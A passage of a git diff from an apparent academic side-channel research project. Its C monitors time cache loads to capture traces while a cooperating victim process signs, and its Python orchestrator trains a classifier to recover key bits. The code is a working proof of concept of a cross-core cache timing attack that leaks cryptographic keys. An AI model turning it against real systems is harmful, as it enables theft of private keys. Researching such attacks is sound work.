_mm_lfence(); + access_ev(ev); + } + + ////////////////////////////////////////////////////////////////////// + // Ready to go + ////////////////////////////////////////////////////////////////////// + + printf("Now collecting train data\n"); + + int rept_index; + for (rept_index = 0; rept_index < repetitions_train; rept_index++) { + + printf("\r%4d", rept_index); + fflush(stdout); + + // Make it so that the victim switches to a randomized key for this rept + // FIXME: try without + sharestruct->use_randomized_key = 1; + + // Wait a moment before starting + wait_cycles(150000000); + + // Collect one trace for each iteration with this key + int victim_iteration_no; + for (victim_iteration_no = 1; victim_iteration_no < victim_iteration_no_last + 1; victim_iteration_no++) { + // Prepare + uint8_t active = 0; + uint32_t waiting_for_victim = 0; + + // Read addresses from monitoring set into cache + curr_node = monitoring_set; + while (curr_node != NULL) { + maccess(curr_node->address); + curr_node = curr_node->next; + } + + // Evict from the private caches + _mm_lfence(); + access_ev(ev); + + // Double-check that the victim has not started yet + if (sharestruct->iteration_of_interest_running) { + fprintf(stderr, "victim already started?\n"); + } + + // Request the victim to sign + sharestruct->sign_requested = victim_iteration_no; + + // Start monitoring loop + curr_node = monitoring_set; + for (i = 0; i < MAXSAMPLES; i++) { + + // Check if the victim's iteration of interest ended + if (active) { + if (!sharestruct->iteration_of_interest_running) { + break; + } + } + + // Check if the victim's iteration of interest started + if (!active) { + i = 0; + if (sharestruct->iteration_of_interest_running) { + active = 1; + } else { + waiting_for_victim++; + if (waiting_for_victim == UINT32_MAX) { + break; + } + continue; + } + } + + if ((i != 0) && ((i % (total_sets * monitoring_set_size)) == 0)) { + // Skip when we had to access the EV + waiting_for_victim = UINT32_MAX; + break; + } + + asm volatile( + ".align 32\n\t" + "lfence\n\t" + "rdtsc\n\t" /* eax = TSC (timestamp counter) */ + "movl %%eax, %%r8d\n\t" /* r8d = eax */ + "movq (%1), %%r9\n\t" /* r9 = *(current->address); LOAD */ + "rdtscp\n\t" /* eax = TSC (timestamp counter) */ + "sub %%r8d, %%eax\n\t" /* eax = eax - r8d; get timing difference between the second timestamp and the first one */ + "movl %%eax, %0\n\t" /* samples[j++] = eax */ + + : "=rm"(samples[i]) /* output */ + : "r"(curr_node->address) + : "rax", "rcx", "rdx", "r8", "r9", "memory"); + + curr_node = curr_node->next; + } + + // Check that the victim's iteration of interest is actually ended + if (waiting_for_victim == UINT32_MAX || sharestruct->iteration_of_interest_running || i >= MAXSAMPLES) { + // Wait some time before next trace + wait_cycles(150000000); + continue; + } + + // Get the actual bit (ground truth) + uint8_t actual_bit = sharestruct->bit_of_the_iteration_of_interest; + + // Prepare data output file + char output_data_fn[64]; + sprintf(output_data_fn, "./out-train/%04d_data_%04d_%" PRIu8 ".out", rept_index, victim_iteration_no, actual_bit); + FILE *output_data; + if (!(output_data = fopen(output_data_fn, "w"))) { + perror("fopen"); + exit(1); + } + + // Store the samples to disk + int trace_length = i; + for (i = 0; i < trace_length; i++) { + fprintf(output_data, "%" PRIu32 "\n", samples[i]); + } + + // Wait some time before next trace + wait_cycles(150000000); + + // Close the files for this trace + fclose(output_data); + } + } + + printf("Now collecting test data\n"); + + // Make it so that the victim switches to the test key + sharestruct->use_randomized_key = 1; + + for (rept_index = 0; rept_index < repetitions_test; rept_index++) { + + printf("\r%4d", rept_index); + fflush(stdout); + + int victim_iteration_no; + for (victim_iteration_no = 1; victim_iteration_no < victim_iteration_no_last + 1; victim_iteration_no++) { + // Prepare + uint8_t active = 0; + uint32_t waiting_for_victim = 0; + + // Read addresses from monitoring set into cache + curr_node = monitoring_set; + while (curr_node != NULL) { + maccess(curr_node->address); + curr_node = curr_node->next; + } + + // Evict from the private caches + _mm_lfence(); + access_ev(ev); + + // Double-check that the victim has not started yet + if (sharestruct->iteration_of_interest_running) { + fprintf(stderr, "victim already started?\n"); + } + + // Request the victim to sign + sharestruct->sign_requested = victim_iteration_no; + + // Start monitoring loop + curr_node = monitoring_set; + for (i = 0; i < MAXSAMPLES; i++) { + + // Check if the victim's iteration of interest ended + if (active) { + if (!sharestruct->iteration_of_interest_running) { + break; + } + } + + // Check if the victim's iteration of interest started + if (!active) { + i = 0; + if (sharestruct->iteration_of_interest_running) { + active = 1; + } else { + waiting_for_victim++; + if (waiting_for_victim == UINT32_MAX) { + // fprintf(stderr, "Missed run\n"); + // victim_iteration_no--; + break; + } + continue; + } + } + + if ((i != 0) && ((i % (total_sets * 16)) == 0)) { + // Skip when we had to access the EV + waiting_for_victim = UINT32_MAX; + break; + } + + asm volatile( + ".align 32\n\t" + "lfence\n\t" + "rdtsc\n\t" /* eax = TSC (timestamp counter) */ + "movl %%eax, %%r8d\n\t" /* r8d = eax */ + "movq (%1), %%r9\n\t" /* r9 = *(current->address); LOAD */ + "rdtscp\n\t" /* eax = TSC (timestamp counter) */ + "sub %%r8d, %%eax\n\t" /* eax = eax - r8d; get timing difference between the second timestamp and the first one */ + "movl %%eax, %0\n\t" /* samples[j++] = eax */ + + : "=rm"(samples[i]) /* output */ + : "r"(curr_node->address) + : "rax", "rcx", "rdx", "r8", "r9", "memory"); + + curr_node = curr_node->next; + } + + // Check that the victim's iteration of interest is actually ended + if (waiting_for_victim == UINT32_MAX || sharestruct->iteration_of_interest_running || i >= MAXSAMPLES) { + // Wait some time before next trace + wait_cycles(150000000); + continue; + } + + // Get the actual bit (ground truth) + uint8_t actual_bit = sharestruct->bit_of_the_iteration_of_interest; + + // Prepare data output file + char output_data_fn[64]; + sprintf(output_data_fn, "./out-test/%04d_data_%04d_%" PRIu8 ".out", rept_index, victim_iteration_no, actual_bit); + FILE *output_data; + if (!(output_data = fopen(output_data_fn, "w"))) { + perror("fopen"); + exit(1); + } + + // Store the samples to disk + int trace_length = i; + for (i = 0; i < trace_length; i++) { + fprintf(output_data, "%" PRIu32 "\n", samples[i]); + } + + // Wait some time before next trace + wait_cycles(150000000); + + // Close the files for this trace + fclose(output_data); + } + } + + // Free the buffers and file + munmap(buffer, BUF_SIZE); + free(samples); + + // Clean up lists + struct Node *tmp = NULL; + for (curr_node = monitoring_set; curr_node != NULL; tmp = curr_node, curr_node = curr_node->next, free(tmp)); + for (curr_node = ev; curr_node != NULL; tmp = curr_node, curr_node = curr_node->next, free(tmp)); + + return 0; +} diff --git a/03-side-channel/mesh-monitor.c b/03-side-channel/mesh-monitor.c new file mode 100644 index 0000000..9dff345 --- /dev/null +++ b/03-side-channel/mesh-monitor.c @@ -0,0 +1,345 @@ +#include "../util/util.h" +#include "scutil/dont-mesh-around.h" +#include "../util/machine_const.h" + +#include +#include + +#define BUF_SIZE 400 * 1024UL * 1024 /* Buffer Size -> 400*1MB */ +#define MAXSAMPLES 100000 + +static inline void access_ev(struct Node *ev) +{ + // Access EV multiple times (linear access pattern) + for (int j = 0; j < 4; j++) { + struct Node *curr_node = ev; + while (curr_node && curr_node->next && curr_node->next->next) { + maccess(curr_node->address); + maccess(curr_node->next->address); + maccess(curr_node->next->next->address); + maccess(curr_node->address); + maccess(curr_node->next->address); + maccess(curr_node->next->next->address); + curr_node = curr_node->next; + } + } +} + +int main(int argc, char **argv) +{ + int i, j; + + // Check arguments + if (argc != 5) { + fprintf(stderr, "Wrong Input! Enter desired core ID, slice ID, repetitions, and iteration of interest!\n"); + fprintf(stderr, "Enter: %s \n", argv[0]); + exit(1); + } + + // Parse core ID + int core_ID; + sscanf(argv[1], "%d", &core_ID); + if (core_ID > NUM_CHA - 1 || core_ID < 0) { + fprintf(stderr, "Wrong core! core_ID should be less than %d and more than 0!\n", NUM_CHA); + exit(1); + } + + // Parse slice number + int slice_ID; + sscanf(argv[2], "%d", &slice_ID); + if (slice_ID > LLC_CACHE_SLICES - 1 || slice_ID < 0) { + fprintf(stderr, "Wrong slice! slice_ID should be less than %d and more than 0!\n", LLC_CACHE_SLICES); + exit(1); + } + + // For this experiment we can use a fixed cache set + int set_ID = 4; + + // Parse repetitions + int repetitions; + sscanf(argv[3], "%d", &repetitions); + if (repetitions <= 0) { + fprintf(stderr, "Wrong repetitions! repetitions should be greater than 0!\n"); + exit(1); + } + + // Parse victim iteration to attack + int victim_iteration_no; + sscanf(argv[4], "%d", &victim_iteration_no); + if (victim_iteration_no <= 0) { + printf("Wrong victim_iteration_no! victim_iteration_no_1 should be greater than 0!\n"); + exit(1); + } + + // Create file shared with victim + volatile struct sharestruct *sharestruct = get_sharestruct(); + + // Pin to the desired core + // + // This time we do not set the priority like in the RE because + // doing so would use root and we want our actual attack + // to be realistic for a user space process + int cpu = cha_id_to_cpu[core_ID]; + pin_cpu(cpu); + + ////////////////////////////////////////////////////////////////////// + // Set up memory + ////////////////////////////////////////////////////////////////////// + + // Allocate large buffer (pool of addresses) + void *buffer = mmap(NULL, BUF_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_HUGETLB, -1, 0); + if (buffer == MAP_FAILED) { + perror("mmap"); + exit(1); + } + + // Write data to the buffer so that any copy-on-write + // mechanisms will give us our own copies of the pages. + memset(buffer, 0, BUF_SIZE); + + // Init variables for MS and EV + uint64_t index1, index2, offset; + struct Node *monitoring_set = NULL; + struct Node *curr_node = NULL; + int monitoring_set_size = 16; + int total_sets = 32; // FIXME: may need more for ECDSA + struct Node *ev = NULL; + int ev_set = set_ID; + int ev_size = 16; + int ev_slice = core_ID; + + // Prepare monitoring set + for (int k = 0; k < total_sets; k++, set_ID += 2) { + // Find first address in our desired slice and given set + offset = find_next_address_on_slice_and_set(buffer, slice_ID, set_ID); + + // Save this address in the monitoring set + append_string_to_linked_list(&monitoring_set, (void *)((uint64_t)buffer + offset)); + + if (k == 0) { + curr_node = monitoring_set; + } else { + curr_node = curr_node->next; + } + + // Get the L1 and L2 cache set indexes of the monitoring set + index2 = get_cache_set_index((uint64_t)curr_node->address, 2); + index1 = get_cache_set_index((uint64_t)curr_node->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L2/L1 + // These addresses will distribute across 2 LLC sets + for (i = 1; i < monitoring_set_size; i++) { + // offset = 2 * 1024 * 1024; // skip to an next address in the next page + offset = L2_INDEX_STRIDE; // skip to the next address with the same L2 cache set index + while (index1 != get_cache_set_index((uint64_t)curr_node->address + offset, 1) || + index2 != get_cache_set_index((uint64_t)curr_node->address + offset, 2) || + slice_ID != get_cache_slice_index((void *)((uint64_t)curr_node->address + offset))) { + offset += L2_INDEX_STRIDE; + } + + append_string_to_linked_list(&monitoring_set, (void *)((uint64_t)curr_node->address + offset)); + curr_node = curr_node->next; + } + } + + // Flush monitoring set + curr_node = monitoring_set; + while (curr_node != NULL) { + _mm_clflush(curr_node->address); + curr_node = curr_node->next; + } + + // Prepare EV (local slice) + for (int k = 0; k < total_sets; k++, ev_set += 2) { + + // Find first address in our desired slice and given set + offset = find_next_address_on_slice_and_set(buffer, ev_slice, ev_set); + + // Save this address in the ev set + append_string_to_linked_list(&ev, (void *)((uint64_t)buffer + offset)); + + if (k == 0) { + curr_node = ev; + } else { + curr_node = curr_node->next; + } + + // Get the L1, L2 and L3 cache set indexes of the EV set + index2 = get_cache_set_index((uint64_t)curr_node->address, 2); + index1 = get_cache_set_index((uint64_t)curr_node->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L2/L1 + // These addresses will distribute across 2 LLC sets + for (i = 1; i < ev_size; i++) { + offset = L2_INDEX_STRIDE; // skip to the next address with the same L2 cache set index + while (index1 != get_cache_set_index((uint64_t)curr_node->address + offset, 1) || + index2 != get_cache_set_index((uint64_t)curr_node->address + offset, 2) || + ev_slice != get_cache_slice_index((void *)((uint64_t)curr_node->address + offset))) { + offset += L2_INDEX_STRIDE; + } + + append_string_to_linked_list(&ev, (void *)((uint64_t)curr_node->address + offset)); + curr_node = curr_node->next; + } + } + + // Flush ev set + curr_node = ev; + while (curr_node != NULL) { + _mm_clflush(curr_node->address); + curr_node = curr_node->next; + } + + ////////////////////////////////////////////////////////////////////// + // Done setting up memory + ////////////////////////////////////////////////////////////////////// + + // Prepare samples array + uint32_t *samples = (uint32_t *)malloc(sizeof(*samples) * MAXSAMPLES); + fprintf(stderr, "READY\n"); + + // Warm up + for (i = 0; i < 2000000; i++) { + curr_node = monitoring_set; + while (curr_node != NULL) { + maccess(curr_node->address); + curr_node = curr_node->next; + } + + // Evict from the private caches + _mm_lfence(); + access_ev(ev); + } + + ////////////////////////////////////////////////////////////////////// + // Ready to go + ////////////////////////////////////////////////////////////////////// + + // Start with a randomized key + sharestruct->use_randomized_key = 1; + + // Collect data + uint8_t actual_bit; + uint8_t prev_bit = 2; + int rept_index; + for (rept_index = 0; rept_index < repetitions; rept_index++) { + // Make it so that the victim switches to a randomized key for this rept + // FIXME: remove to use the same (default) key always + sharestruct->use_randomized_key = 1; + + // Prepare + uint8_t active = 0; + uint32_t waiting_for_victim = 0; + + // Read addresses from monitoring set into cache + curr_node = monitoring_set; + while (curr_node != NULL) { + maccess(curr_node->address); + curr_node = curr_node->next; + } + + // Evict from the private caches + _mm_lfence(); + access_ev(ev); + + // Double-check that the victim has not started yet + if (sharestruct->iteration_of_interest_running) { + fprintf(stderr, "victim already started?\n"); + } + + // Request the victim to sign + sharestruct->sign_requested = victim_iteration_no; + + // Start monitoring loop + curr_node = monitoring_set; + for (i = 0; i < MAXSAMPLES; i++) { + + // Check if the victim's iteration of interest ended + if (active) { + if (!sharestruct->iteration_of_interest_running) { + break; + } + } + + // Check if the victim's iteration of interest started + if (!active) { + i = 0; + if (sharestruct->iteration_of_interest_running) { + active = 1; + } else { + waiting_for_victim++; + if (waiting_for_victim == UINT32_MAX) { + fprintf(stderr, "Missed run; %d\n", rept_index); + rept_index--; + break; + } + continue; + } + } + + if ((i != 0) && ((i % (total_sets * monitoring_set_size)) == 0)) { + // Skip when we had to access the EV + waiting_for_victim = UINT32_MAX; + break; + } + + asm volatile( + ".align 32\n\t" + "lfence\n\t" + "rdtsc\n\t" /* eax = TSC (timestamp counter) */ + "movl %%eax, %%r8d\n\t" /* r8d = eax */ + "movq (%1), %%r9\n\t" /* r9 = *(current->address); LOAD */ + "rdtscp\n\t" /* eax = TSC (timestamp counter) */ + "sub %%r8d, %%eax\n\t" /* eax = eax - r8d; get timing difference between the second timestamp and the first one */ + "movl %%eax, %0\n\t" /* samples[j++] = eax */ + + : "=rm"(samples[i]) /* output */ + : "r"(curr_node->address) + : "rax", "rcx", "rdx", "r8", "r9", "memory"); + + curr_node = curr_node->next; + } + + // Check that the victim's iteration of interest is actually ended + if (waiting_for_victim == UINT32_MAX || sharestruct->iteration_of_interest_running || i >= MAXSAMPLES) { + // Wait some time before next trace + wait_cycles(150000000); + continue; + } + + // Get the actual bit (ground truth) + actual_bit = sharestruct->bit_of_the_iteration_of_interest; + + // Prepare data output file + char output_data_fn[64]; + sprintf(output_data_fn, "./out/%04d_data_%04d_%" PRIu8 ".out", rept_index, victim_iteration_no, actual_bit); + FILE *output_data; + if (!(output_data = fopen(output_data_fn, "w"))) { + perror("fopen"); + exit(1); + } + + // Store the samples to disk + int trace_length = i; + for (i = 0; i < trace_length; i++) { + fprintf(output_data, "%" PRIu32 "\n", samples[i]); + } + + // Wait some time before next trace + wait_cycles(150000000); + + // Close the files for this trace + fclose(output_data); + } + + // Free the buffers and file + munmap(buffer, BUF_SIZE); + free(samples); + + // Clean up lists + struct Node *tmp = NULL; + for (curr_node = monitoring_set; curr_node != NULL; tmp = curr_node, curr_node = curr_node->next, free(tmp)); + for (curr_node = ev; curr_node != NULL; tmp = curr_node, curr_node = curr_node->next, free(tmp)); + + return 0; +} diff --git a/03-side-channel/orchestrator.py b/03-side-channel/orchestrator.py new file mode 100755 index 0000000..adb1061 --- /dev/null +++ b/03-side-channel/orchestrator.py @@ -0,0 +1,832 @@ +import argparse +import glob +import multiprocessing +import os +import pickle +import statistics +import subprocess +from distutils.dir_util import copy_tree, remove_tree +from distutils.file_util import copy_file +from multiprocessing import Process + +import matplotlib.pyplot as plt +import numpy as np +import psutil +from sklearn.ensemble import RandomForestClassifier +from sklearn.metrics import (accuracy_score, f1_score, precision_score, + recall_score) +from sklearn.model_selection import train_test_split +from sklearn.multiclass import OneVsRestClassifier + + +# ------------------------------------------------------------------------------------------------------------------- +# Utility Functions +# ------------------------------------------------------------------------------------------------------------------- +def moving_average(x, N): + cumsum = np.cumsum(np.insert(x, 0, 0)) + return (cumsum[N:] - cumsum[:-N]) / float(N) + + +# 1-column file -> array of int +def parse_file_1c(fn): + with open(fn) as f: + lines = [int(line.strip()) for line in f] + return np.array(lines) + + +# ------------------------------------------------------------------------------------------------------------------- +# Plotting Functions +# ------------------------------------------------------------------------------------------------------------------- + +# Plots two traces to visualize the diff: zero on the left and one on the right +def plot_one_vs_zero(traces_bit_tuples, plot_id="0"): + low_thres = 38 # FIXME: change to other ranges if needed + high_thres = 120 # FIXME: change to other ranges if needed + + # Parse traces and filter out outliers + trace_0_dict = {} + trace_1_dict = {} + for traces_bit_tuple in traces_bit_tuples: + trace = traces_bit_tuple[0] + actual_bit = traces_bit_tuple[1] + for i, t in enumerate(trace): + if t >= low_thres and t <= high_thres: + if (actual_bit == "0"): + trace_0_dict.setdefault(i, []).append(t) + else: + trace_1_dict.setdefault(i, []).append(t) + + # For each x, compute average value of y + trace_0 = [] + trace_0_b = [] + for i, v in trace_0_dict.items(): + if (i == 0): # Skip very first sample + continue + avg = np.mean(v) + std = np.std(v) + trace_0.append(avg) + trace_0_b.append(std) + + # For each x, compute average value of y + trace_1 = [] + trace_1_b = [] + for i, v in trace_1_dict.items(): + if (i == 0): # Skip very first sample + continue + avg = np.mean(v) + std = np.std(v) + trace_1.append(avg) + trace_1_b.append(std) + + # Change to True if you want to plot the moving average + # FIXME: Turn on moving average + if (True): + window = 8 + trace_0_avg = moving_average(trace_0, window) + trace_1_avg = moving_average(trace_1, window) + trace_0_b_avg = moving_average(trace_0_b, window) + trace_1_b_avg = moving_average(trace_1_b, window) + else: + trace_0_avg = np.array(trace_0) + trace_1_avg = np.array(trace_1) + trace_0_b_avg = np.array(trace_0_b) + trace_1_b_avg = np.array(trace_1_b) + + # Prepare figure + plt.figure(figsize=(6.4, 2)) + xmax = min(len(trace_0_avg), len(trace_1_avg)) - 1 + ymin = min(min(trace_0_avg), min(trace_1_avg)) + ymax = max(max(trace_0_avg), max(trace_1_avg)) + + # Plot data to figure + i = 1 + for mean_std_tuple in [(trace_0_avg, trace_0_b_avg), (trace_1_avg, trace_1_b_avg)]: + samples, std = mean_std_tuple[0], mean_std_tuple[1] + plt.subplot(1, 2, i) + plt.plot(samples) + + # FIXME: Turn on STD + if (False): + plt.fill_between(range(len(samples)), samples-std, samples+std, alpha=0.2) + + plt.xlim(0, xmax) + plt.ylim(ymin, ymax) + plt.grid(True, which='both') + + plt.xlabel("Latency sample ID") + if (i == 1): + plt.title("Bit = 0") + plt.ylabel('Load latency (cycles)') + else: + plt.title("Bit = 1") + i += 1 + + # Save figure to disk + figname = 'plot/plot-side-channel-{}.pdf'.format(plot_id) + print('plotting', figname) + plt.tight_layout() + plt.savefig(figname) + plt.close() + + +# ------------------------------------------------------------------------------------------------------------------- +# Data Collection Functions +# ------------------------------------------------------------------------------------------------------------------- + +# Collects $(runs_per_iteration) samples for the given $(target_iteration) of the victim +def collect(target_iteration, runs_per_iteration): + if target_iteration <= 0: + print("Iteration number should be greater than 0") + exit(0) + + # Delete previous output files + prev_files = glob.glob("out/*.out") + for x in prev_files: + os.remove(x) + + # Run monitor (attacker) until it succeeds: + monitor_err = 1 + trials = 0 + while (monitor_err != 0 and trials < 3): + cl = ['./bin/mesh-monitor', str(monitor_coreno), str(monitor_sliceno), str(runs_per_iteration), str(target_iteration)] + print(cl) + monitor_popen = subprocess.Popen(cl) + + # Wait for monitor to complete (FIXME: tune timeout if necessary) + try: + monitor_err = monitor_popen.wait(timeout=600) + except: + print('monitor out of time') + monitor_err = -1 + print('monitor returned %d.' % (monitor_err)) + + trials += 1 + + if (trials == 3): + exit(0) + + # Save output into the desired directory + try: + remove_tree("data-single-bit") + except: + pass + os.makedirs("data-single-bit") + + files = glob.glob("out/*.out") + for x in files: + copy_file(x, "data-single-bit") + + +# Collects $(runs_per_iteration_train) training samples for all iterations of the victim +# Also collects $(runs_per_iteration_test) testing samples for all iterations of the victim +def full_key_recovery_collect(runs_per_iteration_train, runs_per_iteration_test, bit_length): + + # Create output folders + try: + os.makedirs('out-train') + except: + pass + try: + os.makedirs('out-test') + except: + pass + + # Delete previous output files + prev_files = glob.glob("out-train/*.out") + for x in prev_files: + os.remove(x) + + # Delete previous output files + prev_files = glob.glob("out-test/*.out") + for x in prev_files: + os.remove(x) + + # Run monitor (attacker) until it succeeds: + monitor_err = 1 + trials = 0 + while (monitor_err != 0 and trials < 3): + cl = ['./bin/mesh-monitor-full-key-per-iteration', str(monitor_coreno), str(monitor_sliceno), str(runs_per_iteration_train), str(runs_per_iteration_test), str(bit_length)] + print(cl) + monitor_popen = subprocess.Popen(cl) + + # Wait for monitor to complete (FIXME: tune timeout if necessary) + try: + monitor_err = monitor_popen.wait(timeout=200000) + except: + print('monitor out of time') + monitor_err = -1 + print('monitor returned %d.' % (monitor_err)) + + trials += 1 + + if (trials == 2): + print("Monitor failed after %d trials. Giving up" % trials) + exit(1) + + # Save output into the desired directory + try: + remove_tree("data-fkr-train") + except: + pass + # Save output into the desired directory + try: + remove_tree("data-fkr-test") + except: + pass + + copy_tree("out-train", "data-fkr-train") + copy_tree("out-test", "data-fkr-test") + + +# ------------------------------------------------------------------------------------------------------------------- +# Parsing Functions +# ------------------------------------------------------------------------------------------------------------------- + +def get_padded_trace(trace, lowerbound): + return list(trace) + [np.mean(trace[-1 - int(lowerbound / 10):-1])] * (lowerbound - len(trace)) + # return list(trace) + [trace[-1]] * (lowerbound - len(trace)) + + +# Parses data from the given directory +def parse(directory, iteration_index=""): + + # Prepare to read data from the experiments + out_files = sorted(glob.glob(directory + ("/*_data_%s*.out" % iteration_index))) + traces_bit_tuples = [] + + # Read the traces + for f in out_files: + + # Parse actual bit + parts = f.split('/')[-1].split('.')[0].split('_') + actual_bit = parts[3] + + # Parse file + trace = parse_file_1c(f) # this array contains all the samples + traces_bit_tuples.append((trace, actual_bit)) + + # First, count how many zeros and ones there are in the data parsed + # This is across many different cryptographic keys + ones = 0 + zeros = 0 + all_lengths_zeros = [] + all_lengths_ones = [] + for traces_bit_tuple in traces_bit_tuples: + trace = traces_bit_tuple[0] + actual_bit = traces_bit_tuple[1] + + if (actual_bit == "0"): + all_lengths_zeros.append(len(trace)) + zeros += 1 + else: + all_lengths_ones.append(len(trace)) + ones += 1 + + print("Data has", ones, "ones and", zeros, "zeros") + + # Exclude any iterations that did not have both ones and zeros + # For example, the first iteration always only has ones + if zeros == 0 or ones == 0: + print("Skipping because it is either all ones or all zeros") + return [], [], 0 + + # Find median number of samples for zero and one traces + median_length_zeros = statistics.median(all_lengths_zeros) - 1 + median_length_ones = statistics.median(all_lengths_ones) - 1 + + print("Median length 0 is", median_length_zeros) + print("Median length 1 is", median_length_ones) + + # Set the lower as the length of a vector for our classifier + lowerbound = int(min(int(median_length_zeros), int(median_length_ones))) + + # Preprocess the traces so that they all have the same length + preprocessed_traces = [] + labels = [] + for traces_bit_tuple in traces_bit_tuples: + trace, actual_bit = traces_bit_tuple[0], traces_bit_tuple[1] + + # Exclude traces that are way too short + if len(trace) < 5: + continue + + # Pad traces that are too short + if (len(trace) < lowerbound): + trace = get_padded_trace(trace, lowerbound) + + # Add padded or cut trace to preprocessed_traces + preprocessed_traces.append(trace[:lowerbound]) + labels.append(actual_bit) + + return preprocessed_traces, labels, lowerbound + +# ------------------------------------------------------------------------------------------------------------------- +# ML Train Functions +# ------------------------------------------------------------------------------------------------------------------- + + +def f_pool(name, model, X_train, y_train, X_test, y_test, return_dict): + # print("Training with", name) + model.fit(X_train, y_train) + score = model.score(X_test, y_test) # This computes the accuracy + predictions = model.predict(X_test) + precision = precision_score(y_test, predictions, pos_label="1") + recall = recall_score(y_test, predictions, pos_label="1") + return_dict[name] = (model, score, precision, recall) + print(name, score, precision, recall) + + +def train(directory, savemodel=0): + preprocessed_traces, labels, lowerbound = parse(directory) + + # Plot the difference between zeros and ones just for visualization + preprocessed_traces_bit_tuples = [] + for preprocessed_trace, label in zip(preprocessed_traces, labels): + preprocessed_traces_bit_tuples.append((preprocessed_trace, label)) + + plot_one_vs_zero(preprocessed_traces_bit_tuples) + + # Get train test for this iteration_index + X_train, X_test, y_train, y_test = train_test_split(preprocessed_traces, labels) + + print("Shape of train is", np.array(X_train).shape) + print("Shape of test is", np.array(X_test).shape) + + classifiers = [("Random Forest", RandomForestClassifier())] + + # Train the classifier + processes = [] + manager = multiprocessing.Manager() + return_dict = manager.dict() + for name, model in classifiers: + p = Process(target=f_pool, args=(name, model, X_train, y_train, X_test, y_test, return_dict)) + processes.append(p) + p.start() + + # Wait for classifiers to end + for p in processes: + p.join() + + # Pick the best classifier + best_score = 0 + recall = 0 + precision = 0 + best_classifier = "" + for name, _ in classifiers: + model, score, prec, rec = return_dict[name] + if score > best_score: + best_score = score + precision = prec + recall = rec + best_classifier = name + best_model = model + + print("Final classifier for iteration =", best_classifier, "with accuracy =", best_score, "precision =", precision, "recall =", recall) + + # Save model to file + if savemodel == 1: + with open(("models/model.pickle"), "wb") as fp: # Pickling + pickle.dump(best_model, fp) + with open(("models/input_len.pickle"), "wb") as fp: # Pickling + pickle.dump(lowerbound, fp) + + +# ------------------------------------------------------------------------------------------------------------------- +# ML Test Functions (used for full key recovery) +# ------------------------------------------------------------------------------------------------------------------- + +def full_key_recovery_test(exclude_first_bit=0): + + # Read model and input len from trained classifier + with open(("models/model.pickle"), "rb") as fp: # Pickling + model = pickle.load(fp) + with open(("models/input_len.pickle"), "rb") as fp: # Pickling + lowerbound = pickle.load(fp) + + # Find number of iterations for test key (from ground truth) + out_files = glob.glob("data-fkr-test/0002_data*.out") + test_key_total_iterations = 0 + for f in out_files: + parts = f.split('/')[-1].split('.')[0].split('_') + iteration_index = int(parts[2]) + if iteration_index > test_key_total_iterations: + test_key_total_iterations = iteration_index + + # Init variables + samples_score_dict = {} + samples_total_dict = {} + trace_lens_all_bits = {} + + # Parse the samples for each iteration of the victim + for iteration_index in range(1, test_key_total_iterations + 1): + + if exclude_first_bit == 1 and iteration_index == 1: + continue + + # Pick the respective files + files = glob.glob("data-fkr-test/*_data_%04d_*.out" % iteration_index) + + # Read the files with data from this iteration + all_traces = [] + actual_bit = files[0].split('/')[-1].split('.')[0].split('_')[3] + for f in files: + trace = parse_file_1c(f) # this array contains all the samples + bit = f.split('/')[-1].split('.')[0].split('_')[3] + if actual_bit != bit: + print("ERROR! Testing with different keys") + exit(1) + + # Safety check here that we passed the right argument + all_traces.append(trace) + + # Make the traces all the same length and filter out outliers + preprocessed_traces = [] + trace_lens = [] + for trace in all_traces: + trace_lens.append(len(trace)) + + # Exclude traces that are way too short + if len(trace) < 5: + continue + + # Pad traces that are too short + if (len(trace) < lowerbound): + trace = get_padded_trace(trace, lowerbound) + + preprocessed_traces.append(trace[:lowerbound]) + + # Save the median length of the traces for logging purposes + median_len = np.median(trace_lens) + trace_lens_all_bits.setdefault(actual_bit, []).append(median_len) + + # Get predictions + predictions = model.predict(preprocessed_traces) + + # Parse predictions + correct_count = 0 + incorrect_count = 0 + for i, prediction in enumerate(predictions, 1): + + # If more than half of the predictions are correct, then we consider the majority vote correct + # If exactly half, then we just do not count the last prediction to make the number odd + right = 0 + if prediction == actual_bit: + correct_count += 1 + if correct_count > incorrect_count: + right = 1 + else: + incorrect_count += 1 + if correct_count >= incorrect_count: + right = 1 + if right == 1: + samples_score_dict.setdefault(i, 0) + samples_score_dict[i] += 1 + + samples_total_dict.setdefault(i, 0) + samples_total_dict[i] += 1 + + # If after using all the data for this iteration we did not have a correct prediction + if right == 0: + print("Iteration", iteration_index, "predicted wrong") # . Should be", actual_bit, "but got", predictions) + print("Trace median len", median_len) + print("Correct count", correct_count, "and incorrect count", incorrect_count) + + # Plot to see the result anyway + # plot_single_iteration(preprocessed_traces, iteration_index, actual_bit, right) + + # Print len for debugging purposes + for key, vals in trace_lens_all_bits.items(): + print(vals) + print("Median len for", key, "is", np.median(vals)) + + # Print the final result by number of votes + for no_traces, score in sorted(samples_score_dict.items()): + print("%d %d out of %d (%d%%)" % (no_traces, score, samples_total_dict[no_traces], score / samples_total_dict[no_traces] * 100)) + + +# ------------------------------------------------------------------------------------------------------------------- +# Orchestrating Functions for Full Key Recovery, one classifier per iteration +# NOTE: We did not end up using this code in the paper beucause a single classifier ended up being enough +# ------------------------------------------------------------------------------------------------------------------- + +def per_iteration_work(iteration_index, traces_bit_tuples): + + # First, count how many zeros and ones there are in the data collected for this iteration + # This is across many different cryptographic keys + ones = 0 + zeros = 0 + all_lengths_zeros = [] + all_lengths_ones = [] + for traces_bit_tuple in traces_bit_tuples: + trace = traces_bit_tuple[0] + actual_bit = traces_bit_tuple[1] + + if (actual_bit == "0"): + all_lengths_zeros.append(len(trace)) + zeros += 1 + else: + all_lengths_ones.append(len(trace)) + ones += 1 + + print("Iteration", iteration_index, "has", ones, "ones and", zeros, "zeros") + + # Exclude any iterations that did not have both ones and zeros + # For example, the first iteration always only has ones + if zeros == 0 or ones == 0: + print("Skipping iteration", iteration_index, "because it is all ones") + return + + # Find median number of samples for zero and one traces + median_length_zeros = statistics.median(all_lengths_zeros) - 1 + median_length_ones = statistics.median(all_lengths_ones) - 1 + + # Set the lower as the length of a vector for our classifier + lowerbound = int(min(int(median_length_zeros), int(median_length_ones))) + # lowerbound = min(min(all_lengths_zeros), min(all_lengths_ones)) + + # Preprocess the traces so that they all have the same length + preprocessed_traces = [] + labels = [] + for traces_bit_tuple in traces_bit_tuples: + trace, actual_bit = traces_bit_tuple[0], traces_bit_tuple[1] + + # Exclude traces that are way too short + if len(trace) < 